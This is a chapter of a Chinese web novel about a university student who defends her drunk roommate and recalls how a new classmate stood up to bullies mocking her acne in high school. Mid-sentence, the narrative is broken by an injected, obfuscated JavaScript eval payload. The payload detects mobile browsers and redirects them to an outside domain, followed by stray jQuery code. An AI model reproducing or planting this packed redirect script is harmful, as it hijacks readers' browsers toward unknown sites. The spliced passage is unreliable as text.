10. Chapter 10

作品:《臣服

    文/京戈


    到了寝室门口,何枝意刚拿钥匙准备开门,门就被人从里面打开了的,叶淑怡眉头紧皱一副处于暴躁边缘的脸闯入了何枝意的视野里。


    见着人了,叶淑怡忍了半天的火气也找着地方撒了,“你们怎么回事啊?喝得醉醺醺的回寝室就算了,刚还吐了一地,搞得现在整个寝室里都是臭烘烘的味道,这晚上还怎么睡啊!”


    听着她的埋怨,何枝意也注意到她手里拿着的扫把和撮箕,以及撮箕里那一坨裹着纸巾的不明呕吐物。


    何枝意顺手从她手里把撮箕接了过来,温声道歉:“对不起啊,我刚才着急下去,忘了在她床边放垃圾桶了。垃圾我去倒,寝室里有味道的话,你就先把门窗打开散散味。”


    “我记得晓晓桌子旁边的柜子里有瓶空气清新剂,你拿出来喷一下,去去味儿。”


    叶淑怡皱了皱眉,“她那清新剂是柠檬味的,我不喜欢。”


    “......那你就先把窗户都打开吧。”何枝意说。


    叶淑怡把门拉得大开,忍不住抱怨了起来:“盛晓晓也真是的,之前总喜欢在寝室里吃外卖,现在又喝得醉醺醺的回来,还吐了一地。她这么喜欢喝酒,干嘛不自己搬出去住,寝室里又不止住了她一个人,成天把寝室搞得乌烟瘴气的!”


    饶是脾气再好,也会有忍不下去的时候。


    何枝意转回身,看着她说:“原来你也知道寝室里不止住了她一个人,那她点了外卖,不拿回寝室吃,难道站在校门口吃吗?她今天只是因为心情不好,所以才喝醉了酒。”


    “她为了迁就你,已经很少在寝室里吃东西,你难道就不能退让一点,稍微理解一下吗?”何枝意脸上的温和散了些,语气微冷:“既然你这么不能忍受屋子里有一点点味道,那你为什么不自己搬出去住?”


    叶淑怡被她气得脸色有些难看,“你——”


    “理解是人与人之间相处最基本的共情。”


    话说完,何枝意拎着撮箕转身就朝楼梯口走了去。


    川大的宿舍是四人合住一间,她们寝室有个女生今年刚开学就搬出去跟男朋友合住了,所以现在寝室里就剩她们三个人。叶淑怡算是她们寝室里最难搞的一个。


    没课的时候,盛晓晓会在寝室里点外卖,但偏偏叶淑怡很不喜欢有人在寝室里吃东西,她总说有味儿。


    有次,盛晓晓中午在寝室里吃了螺蛳粉,螺蛳粉味道确实大了点儿,但正好是因为那天叶淑怡一天都不在寝室。结果到了晚上,叶淑怡一进门就说寝室里有味儿,还说连她的被子上都有股味儿。


    从中午到晚上六七个小时的时间,就算再大的味儿也能散了,关键盛晓晓还特意喷了空气清新剂,就是怕叶淑怡回来嫌寝室里有味儿。


    寝室生活有些摩擦难免会发生,但很显然叶淑怡从来都是那个不肯做退步的人,所以当时就把盛晓晓气得不行,两人还差点吵了起来。


    后来,盛晓晓就很少在寝室里吃东西了,背地里盛晓晓总叫叶淑怡哮天犬,因为叶淑怡的鼻子灵得跟个狗似的。


    用盛晓晓的话来说就是,恨不得你打个膈,叶淑怡都能给你闻出来你前天晚上都吃了些啥。


    何枝意倒完垃圾又把撮箕扫把都洗了一遍,最后把整个寝室拖了一遍才彻底歇下来。


    经过盛晓晓床边的时候,何枝意看着睡得安稳的盛晓晓,她不由的想着,要是哪天她喝醉了酒,盛晓晓要是不把她背回寝室,再把她伺候的妥妥帖帖的,她都觉得太亏了。


    何枝意替她拉好被子拿着东西去了淋浴间,等何枝意躺在床上的时候已经快十二点了。


    也不知是不是今晚凉风吹的太久,还是因为沈曜文的那句‘晚安’的后劲太大,何枝意闭着眼睛无数次尝试入眠都失败了。


    屋里很暗,阳台上的窗帘被拉得严严实实的,一点月光都窥不见。


    刚才在校门口,沈曜文第二次问起她‘他们是不是在哪儿见过’的时候,其实她心里既害怕又开心。


    因为在酒吧那次,其实并不是他们第一次见面,在那之前他们就见过的,只是已经过去了很久。


    她第一次见到沈曜文是在高二下学期的那年,当时刚开学没几天,他们班就转来了一个插班生。


    从上高中开始何枝意的脸上就像是‘病毒’大爆发了一样,整个脸颊上长得都是痘痘,还反反复复的不见好。她爸妈常年在外地打工,从初中开始她就一直借住在舅舅家。


    她舅妈对这事儿总有不满,所以对她也谈不上好。脸上反复长痘的事情,她舅妈只是轻描淡写的说那是青春痘,等过了青春期自然就好了,叫她不要总是大惊小怪的,也别成天想着往医院里送钱。


    有句话叫:人在屋檐下不得不低头。


    这是何枝意在初中的时候就明白的道理,所以她也没再提过这事儿,每天都带着帽子口罩去上学。


    直到后来的一次意外,何枝意的口罩被人恶作剧的摘掉了,她长满了青春痕迹的脸暴露在所有人面前,嘲笑、讥讽开始一点点填满她的青春。


    何枝意被同学排挤,她被换到了教室的最后一排,没有同桌,因为所有人都嫌弃她,说她身上有传染病都不肯跟她坐同桌。


    所以,后来沈曜文转学过来的时候,全班就只有她旁边的位置还空着,就这样,意外又不意外的,沈曜文成了她的同桌。


    那是她整个高中时代,唯一的同桌,也是唯一不嫌弃她的人。


    沈曜文生得好看,一来就成了全校女生的梦中情人。沈曜文的桌兜里总是被各种礼物巧克力情书塞满,但沈曜文对这些东西从来都不在意。


    拥有一个人气王的同桌,也是需要承担一定的后果的,特别是像何枝意这种平时就被人排挤孤立的人。


    有天中午,何枝意正在教室里写作业,教室里突然涌进来了几个女生,为首的女生是他们班里的,另外三个女生,何枝意也并不陌生,她们是学校里出了名的‘女生刺儿头’。


    聂美英站在她对面,态度神气又傲慢:“喂,收拾一下,我要跟你换位置。”


    何枝意抬头看了他们一眼,就习惯性的低下了头,小声说:“我不想换。”


    “由不得你想不想,”聂美英没耐心的加重了语气:“赶紧的!”


    她不想换,因为其他人会嫌弃,而沈曜文从未嫌弃过她。不管是因为沈曜文是刚转来的不了解她的事情,还是因为真的不嫌弃她,她都不想换。


    因为不被人嫌弃的感觉真的太好了,所以,何枝意也第一次学会了拒绝和反抗。


    “我不想换。”何枝意略微加重的语气像是强调。


    聂美英像是听到了什么稀奇事儿,稍稍凑近了一点,笑话道:“你说什么?不想换?”


    鼻尖里钻进一股呛鼻的廉价香水味,何枝意轻皱了下眉头,用沉默的方式默认了回答。


    “英姐,她不想换位置,该不会是因为喜欢沈曜文吧。”跟在聂美英旁边的女生插了一句。


    聂美英笑出了声,嘲讽的声音如尖刺生扎进何枝意的身体里,“就凭她?一张长满了脓包的脸,这怕是半夜起来照个镜子都能把自己给吓死了。”


    “沈曜文才不会喜欢她这种丑八怪!”


    何枝意捏着笔的手下意识收紧了些,仍低着头,声音艰涩的卡在了喉咙里怎么都发不出来。


    “跟她叽叽歪歪个屁啊,弄她一顿不就老实了。”有女生的喊道。


    那女生把旁边沈曜文的桌子挪开了,然后朝何枝意的桌子猛踹了一脚。何枝意上腹的位置被桌沿磕的生疼,她牙关紧咬的没发出一丝声音。


    桌斗里的书撒了一地,那些女生直接用脚在书上踩了又踩,还用言辞侮辱道:“长成这副鬼样子,还想癞蛤蟆吃天鹅肉,真是痴人做梦!”


    年少的人总是无知的以为那样很酷,像港片电影里的古惑仔,街头混得风生水起的街溜子。


    “挺热闹?”


    过了变声期的少年,声线变得低而沉,字音掉进何枝意的耳朵里激起圈圈波澜。


    何枝意被几个女生围在墙边,她借着前面人的遮挡偷偷的抬起头,朝着那道声音的主人看了过去。


    因为刚转来不久,沈曜文没穿校服,一身黑衣黑裤身形高大的站在后门口。


    沈曜文没朝她这儿看,眼皮微垂着,不知道是在看地上的狼藉还是在看他自己的东西有没有受到波及。


    沈曜文的突然出现,也是聂美英没想到的,她连忙从旁边的桌上下来,往前走了一步,先开口辩解道:“我没有......”


    沈曜文视线从地上挪到了她的脸上,打断了她的话茬:“没有什么?没有欺负人?”


    “不是我先欺负她的,”聂美英指着站在后面低着头的何枝意,诬陷道:“是她先动的手,我只想往你抽屉里放个礼物,就不小心撞到她了,结果她直接把我的礼物给扔在了地上。”


    沈曜文眼锋掠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144224|164636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过她的脸,声线微冷:“当我是傻子?”


    聂美英也懒得装下去了,“我要跟她换位置,但是她不肯。”


    说着,聂美英嫌弃的看了何枝意一眼,“你别看她成天戴着口罩帽子,一副神神秘秘的样子,其实就是因为她长得丑,脸上还长了些恶心的东西。”


    聂美英对沈曜文说:“我劝你趁早找老师给你换位置,谁知道她脸上那些东西会不会传染,恶心死了!”


    何枝意站在后面的角落里,身侧的手紧攥着衣摆,脖子像是被屈辱感给压弯了似得,重重的低了下来。


    聂美英直白又尖锐的羞辱,还有沈曜文朝她投来的视线,都让她觉得羞耻的抬不起头来。


    何枝意被口罩遮住的嘴唇被牙关咬得泛白,她觉得自己像是被人架在了火架上,毫无反抗之力的任由火舌燎过她的皮肤。被人当中的羞辱的场面让她不禁觉得眼眶有些发热。


    就在何枝意快要扛不住,想要妥协的时候,沈曜文低平的声线响了起来:


    “没见识就多读点书。世界上长得好看的,不好看的多了去了。怎么?你是打算挨个去欺负一遍?”


    “以为自己这样很牛逼?像个大姐大一样?”沈曜文冷笑了声:“其实在别人眼里,你的行为跟傻缺没差。”


    聂美英没想到沈曜文会替何枝意出头,一时间,她的脸色精彩的像是调色盘一样。


    何枝意站在后面小心翼翼的抬起头,被帽檐遮住的视野此时被沈曜文的样子给全部占满了。


    过去她经常被人‘欺负’,羞辱她的话翻来覆去永远都是那么几样,久而久之,她以为自己已经习惯了,免疫了。


    可就在刚才,她突然发现自己根本就习惯不了,也免疫不了,过去都只是她强迫自己忽略那些不堪入耳的话。


    她一直都很委屈,只是从来都没有人发现过她的委屈。


    学校里的事情,她从来都不会跟舅舅说,也从不在电话里跟妈妈提起,因为她不想让爸妈担心,也不想让舅妈能有借题发挥的机会。


    所以,有时候息事宁人最好的方法就是忍受。


    视野里的人忽地动了一下,吓得何枝意慌忙地低下了头。


    沈曜文透着冷光的视线刮过聂美英的脸,声线冰冷的透着一丝强硬:


    “给她道歉。”


    冷冽的声线落进何枝意的耳朵里,她竟意外的觉得温暖,像是冬日里的突然塞进手里的暖手贴,恰好适度温热从指尖一路蔓延至心里。


    被沈曜文羞辱就已经让聂美英很不爽了,听到这话,聂美英当场就炸了:“不可能,我是绝对不会跟她这个丑八怪道歉的!”


    见势不对,聂美英恶狠狠的瞪了何枝意一眼,带着其他人就准备走了。


    凳子突然倒地的巨响声在安静的教室里显得突兀又清晰,那凳子不偏不倚,正好就倒在了聂美英的脚前面,她的脚要是再往前多迈半步,凳子压到的可能就是她的脚了。


    不光是聂美英她们被吓得不由哆嗦了一下,就连何枝意也被这突然的一声响给吓到了。她稍稍抬头,只见沈曜文一只脚踩在那凳子腿上,脸上的神色淡淡的,锋利的眉峰透着一丝戾气。


    沈曜文眯了眯眼,从眼底迸射出来的光透着不耐烦,但还是耐着性子的又重复了一遍:


    “给她道歉。”


    他声线低缓,但却透着毋庸置疑的强硬。


    能让恶人屈服的永远不是温和礼貌的态度。最后,聂美英还是不情不愿的给何枝意道了歉,然后气呼呼的就走了。


    人一走,教室里就剩下他们两个人,重新流动起来的空气让何枝意觉得有些热。挣扎再三,何枝意还是没敢抬头,只是轻声说:“刚才,谢谢你。”


    话音落下,她没听见沈曜文的回答,只听见了自己如雷般的心跳声,轻轻抿唇的动作像是害怕心跳声从嘴里漏了出去,被对面的人听见了。


    沈曜文眼锋扫过对面低着头的人,随口应了句:“不用。”


    何枝意低垂的视野里突然出现了一只手,微微凸起的青筋顺着手背蔓延而上。她看见沈曜文把刚被踢到的凳子扶了起来,还顺手擦了一下凳子边沿儿沾到的几乎可以忽略的灰。


    沈曜文直起身的时候发现对面的人还站在原地没动,他扫了眼一地无处下脚的狼藉,淡声道:“要我帮你捡?”


    何枝意回过神,心跳漏了半拍的过速跳了几下,嗓音夹着一丝慌乱:“不用,我自己捡就可以了。”